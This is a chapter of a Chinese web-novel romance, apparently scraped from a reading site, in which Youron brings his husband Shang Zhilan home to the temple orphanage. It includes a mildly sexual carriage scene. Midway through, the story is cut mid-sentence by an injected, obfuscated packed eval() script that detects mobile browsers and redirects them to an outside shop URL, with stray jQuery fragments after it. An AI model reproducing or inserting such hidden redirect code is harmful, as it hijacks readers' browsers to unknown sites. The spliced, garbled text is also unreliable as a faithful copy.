10.第 10 章

作品:《有个小郎叫有容

    15:


    新的一日。


    午间。


    阳光明媚煦暖。


    青山寺庵堂,几棵百年老树枝桠虬结,遮天蔽日,盛夏里浓荫如盖,在一片上山石头路中的终点造得了一块乘凉好去处。


    绿儿便在这块乘凉处带着三两个翘首以盼的小孩子,睁着一对儿圆圆的猫眼盯着不远处空地上劈柴的周苍,“你要干嘛?”


    小姑娘透着疑惑提防:“容大哥已嫁人了。”


    “……”此前周苍也不是没有来给庵堂做过苦力,这话说得好没良心。


    可也没心思辩驳,沉默着挥下斧头,将柴木一分为二。


    本是寂静灰心之景,偏周遭孩子们一个个都眼瞳亮晶晶脸上笑呵呵的,更有时不时嬉闹声和孩童特有的叫声传来。


    忽然间,一阵匆忙急乱的脚步声涌来,远处一大群去当‘斥候’的孩子们露了头,边跑边喊:“来了来了!看到马车了!好大一辆!容大哥带相公回家嘞!!”


    今日正是迟来的有容‘归门’之日。


    提前就有人给庵堂和孩子们送了消息,绿儿一听,嗖地站起来,牵着抱着几个小的循声跑去迎接,下意识已然喜笑颜开。


    周苍没去,只身躯一震,视线跟着看过去。


    摇摇晃晃地马车停了。


    虽是京都数一数二的富贵名门,却并未铺张张扬,只有两辆马车,都是双马拉车,一辆带着新礼,自有人上下搬卸,另一辆是此日此时的主人家——


    周苍人未动,眼神已锁在那从车内缓步而下的人影身上,可见丫鬟们张开了一把湘妃竹制十六瓣莲花纹伞,伞下罩了个穿白的年轻公子。


    那公子生得比寻常男子清瘦些,有伞遮挡,一时看不清面容,只看见身段,不多时心心念念许久不见的有容现身,接过伞柄抬高了些,方才露出真容。


    雍容高华,金堂玉马。


    九天明月,雪岭青松。


    只肖远远一望,周苍什么话都没了。


    本就已是云泥之别,一辈子也比不过,见了本人方知,还觉得不甘妄想去比一比也是错。


    那哪是病秧子,分明是天上人,竟是差得这样多、这样多。


    周苍看商芝兰时,商芝兰的目光也在看他。


    说不得是人对情敌这东西天生敏锐还是其他,无需任何人指引,商芝兰一眼就猜出了他的姓名和身份。


    眨眼瞬息,将对方逮进眼中。


    好个魁伟男儿,昨日下午,商芝兰为有容见了定好此后就要进府授课的武师——周苍的亲父,见周武人时,他曾刻意观察过其相貌,从中揣测周苍此人的面孔模样,猜他应该是面目周正,形容中上。


    却不料会是个十分精雕细琢很能招蜂引蝶的相貌,真难说这样的一张脸和自己放在一起孰优孰劣,商芝兰不自诩美人,也知晓自己不是凡品,跟周苍这么一对看,竟不确信了。


    他比自己早认识了有容不知多少年……


    正想,耳畔传来声音:“兰弟?”


    “嗯?”商芝兰轻笑,避下有容来搀扶他的手,反过来托住,“我没事,我来扶着娘子才是。”


    “我怕他们撞倒你。”


    有容说着,顺着他的视线向着柴垛看去,只看见空荡荡一块地。


    也不多在意,与商芝兰一道往里走,迎上涌来的一大群孩子。


    “人都齐了吗?”


    “齐了!!”孩子们响亮答。


    有容也笑:“好。给你们发糖,发点心,人人都有份。”


    16:


    许久没回来。


    光是拥挤往有容身上扑就闹了好一阵。


    有容小的时候,因很快就长得跟年龄不符,大孩子们都不喜欢他,可他成了大孩子,却是最受小孩子喜欢的,许多孩子都把他又当母亲又当哥哥,每个人都想找他抱一抱,小的还要亲一亲,无数的嘴巴里都传出一叠声的‘想你’。


    有容跟他们亲近一番,好不容易才寻到时机跟他们介绍商芝兰。


    孩子们大的知道见礼,小的就围着商芝兰绕圈。


    评价:“好看!小郎好看!”


    “胡说什么,那是容大哥的夫君,你这小臭嘴。”


    绿儿匆忙把小孩子嘴巴堵住,跟商芝兰道歉,自己其实也看得有点呆。上次她去拜访没见过商芝兰本人,没想到国公府的世子生得这样松风水月。


    其实这误解也冤,真不是商芝兰看不出男女,单看他也能简单分辨,实在是今日身边有有容衬托,愣是给商芝兰衬得‘娇’了。


    可是她看错了?容大哥瞧着越大了。不过身高身段明明也没变,为何……


    呀,绿儿懂了,原是那胸脯又圆了。撑得上衣衫子蓬蓬满满的,更有气势了。


    “无碍的。”


    商芝兰实在半点不在意,还接过绿儿怀里的孩子与有容一道进了庵堂。


    这一日由此开始。


    到主客尽欢。


    庵堂虽然简陋,但商芝兰入乡随俗,一点架子都没有。


    两人给孩子发过东西,一道去见了庵堂的主持师太,聊过庵堂修缮事宜,又细细逛了山前山后,庵堂里每一处细节,看遍所有有容前半生的生活痕迹。


    “一直叫你走,可是累了?”


    “天还热,我背你。”


    有容跟商芝兰踏在台阶下,台阶上正巧,砖石缝隙里生出星星点点的嫩黄色野花。


    商芝兰心里情愿,可不想叫有容受累,笑着摇头:“这没什么。”


    张嘴就来:“真是好地方,山清水秀,人杰地灵,难怪养出娘子你。”


    “……”


    两人一道将视线落向野花,一对心思在热浪逐渐翻涌的空气里飞起。


    然后有容小声说:“有时、有时觉得兰弟油嘴滑舌。”


    商芝兰也声音小了,“不、不是的。我只讲心里话,话自肺腑生。”


    “且只对你。”


    “我实在喜欢娘子你。”


    台阶上坐着寺庙,寺庙里还尊着佛呢,有容不好接口,脸皮微烫。


    两个人到庙里拜了拜,及至这时,已入傍晚,可只觉时间如流水,不过眨个眼的功夫。


    “日后常来才是。”商芝兰说。


    有容自是想时常回来的,这是他的家,只是不好自己说。


    忽而千言万语,化成一个蹙着眉的微笑,情意浓浓,都对商芝兰。


    “好了,不用送。”


    “有事就去国公府找我。”


    有容先送商芝兰进马车,自己收尾。


    “对了。”


    他忽地想到什么。


    自怀中取出一个布包。


    “这个你拿去给周苍,我今日瞧见他那把枪了,架在柴堆上,若还没走,你就送去。”


    绿儿对周苍横鼻竖眼,对有容无有不依,问都不问就答应下来。


    有容笑笑,放下车帘。


    一回头,撞见商芝兰黑石般的眼珠儿。在看他。但眉心微皱,美人面上忽然多出一种怪异的‘轻愁’。


    “……”?


    有容担心:“风凉下了,觉得冷?我脱了外衫给你披?”


    商芝兰眉心痕迹更深了,问:“娘子,刚才那包裹里,可是书?”


    “正是。”


    “是你月前从我这里讨走那一本书?”


    约莫一个多月前,有容问他有没有兵书,商芝兰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087890|195329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    当他有兴趣,撑着精神挑了一本十分珍惜的手抄本,为让有容读用起来没有心理负担,说得来历寻常,多次叮嘱有容随意处置。


    万没想到会有一茬。


    “为何要送他?”


    商芝兰咬字简直如黄连一般苦。


    有容不知其中细节,不过也能猜到国公府的东西都不是俗物,也是因此,给了周苍也算合当。


    他心想:若不是周苍那日给他送信,他怎么会意外发现给商芝兰乳汁送药的法子,虽然一起都是碰巧,并无本意,可也是一段无形的恩情。


    救他夫君,合该报答。


    不过以后还是不要送信了,他们也不是朋友,确实很莫名。


    他把这话附在信笺上一同放在布包里了。


    有容跟商芝兰一应说了。


    换得商芝兰神色由紧转松,又由松转紧,最后一声轻叹,凑上来趴伏在有容膝上。


    “娘子,娘子。”


    有容摸他头发,“嗯?”


    到底怎么了?实在不解,又觉得亲切可爱。


    “他喜欢你。”商芝兰最终还是戳破。


    有容:“周苍?不会。”


    “他便是喜欢你。”


    “哪有人喜欢一个人会屡屡来找茬生事,总说些乱七八糟叫人生气的话,兰弟不晓得,他叫我窝过的火比山脚下那两条野狗还多,喜欢一个人反而存心叫他整日不痛快,岂不是脑袋有急病?”


    兰弟这样直言诉爱的才叫正经喜欢一个人,有容想。


    “……”


    这天下是有这样的人的,商芝兰一时语塞,停顿下再想,真只有天作之合这一个结论,是老天和亲娘都在成全他。


    商芝兰抬起头来,四目相对,试探着用鼻尖蹭了蹭有容的鼻尖。


    有容怎么会躲,由他蹭,由他亲。


    接着……由他压揉。


    病愈的年轻人,力气果真比之前大,能给有容这样的‘大’郎也团弄得发出嗯唔之声。


    “兰弟。”在马车上呢。


    商芝兰哪有那么不守礼,一时没控制住。有这样完美的妻子,控制确是件不容易的事。


    忍耐着收回手。


    然而却已迟了,遭成严重后果。


    昨日只商量了不要拿嘴,不料手也能闹出动静,从前光靠压力从没出过。


    有容呆住。商芝兰不呆,却白皙的肤色涨得通红,腮上绷紧,一面急着拿外衣给有容遮挡一面道歉转头到一边去。


    “……没事,没事,怪不得兰弟。”


    有容只慌一下,很快镇定下来,安慰商芝兰,叫他:“以后避着就好了,这下记住了,兰弟,兰弟?怎么不转过来?”


    他真心不以为重,未料商芝兰却说什么也不肯回头看他,有容是他娘子,现下正恩爱,也不讲什么身份,靠近过去把那小夫君的头强行掰过来。


    实在在意:“到底是如何?你要有不适,什么缘故也不能瞒我。”


    “不是不适……”商芝兰很难和有容视线相对。


    “娘子,我不好看你,我、我瞧见你,会犯……”


    “……犯口瘾。”声小的几乎听不到了。


    “……”


    车厢内一阵静谧。


    夫妻两个忽然各自规矩下来,安静地坐着。


    良久,有容的声音响起。“兰弟……很想吃吗?很想吗?”


    商芝兰:“……”


    君子不谎,只能沉默。


    又半晌。


    有容牵住商芝兰的手。“那……那给你吃好了。”


    “……”


    商芝兰:“真断不了奶怎么办。”


    有容:“……你吃一辈子。”